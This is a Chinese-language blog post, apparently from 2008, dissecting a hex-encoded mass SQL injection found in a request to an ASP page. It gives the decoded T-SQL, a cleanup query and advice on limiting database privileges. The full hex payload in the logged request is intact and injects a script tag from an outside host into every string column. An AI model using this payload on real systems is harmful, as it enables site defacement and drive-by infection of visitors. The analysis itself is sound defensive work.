HEX 編碼的 SQL Injection
此篇文章最近更新時間為2008-10-13 12:44:23
目前共有4篇留言
相關標籤:
D-Link 友訊科技工程師。喜好戶外運動、2008 年 5 月完成「跑步環島」。對於新技術跟程式碼有著強烈的偏執狂。
/photo_mid.asp UserNo=&Page=22&Keyword=;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x
4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204
445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E
616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E7320622
0776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E7874
7970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E7
8747970653D31363729204F50454E205461626C655F437572736F72204645544348204E455854204652
4F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485
F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574
205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2
F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27
272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F746
9746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F6373
7273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4
D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C65
5F437572736F72204445414C4C4F43415445205461626C655F437572736F72;|305|800a0bcd|可能是_BOF_或_EOF_的值為_True,或目前的資料錄已被刪除。
DECLARE @T varchar(255), @C varchar(4000)
DECLARE Table_Cursor CURSOR
FOR
Select a.name, b.name from sysobjects a, syscolumns b
Where a.id = b.id
AND a.xtype='u' AND (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T, @C
DECLARE @P varchar(255)
SET @P = '"...惡意的 script 標籤...'
WHILE (@@FETCH_STATUS=0)
BEGIN
EXEC('Update [' + @T + '] Set [' + @C + '] = ''' + @P + '[' + @C + ']'''
Where ' + @C + ' Not Like ''%' + @P + '%''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
這段 code 是利用 sysobject 與 syscolumns 兩個 system table 取得所有的 User Table 與字串的 Column,
然後將這些資料存入 Cursor 中,將所有使用者資料表的字串資料錄全部植入,非常有效率。
EXEC('Update [' + @T + '] Set [' + @C + '] = Replace(' + @C + ', ''' + @P + ''', '''')
Where ' + @C + ' Like ''%' + @P + '%''')
這樣子就可以把資料錄中的 script 給移除掉。
明明是文字欄位為什麼要能讓別人打SQL命令句
/photo_mid.asp UserNo=&Page=22&Keyword=[文字]
[文字]進入資料庫,就讓他是文字,別讓他有執行的機會
如果搞缸一點
把前後端介面的SQL帳號權限也分開,這樣更安全
前端查詢其實也只需要查詢權限,別給SA權限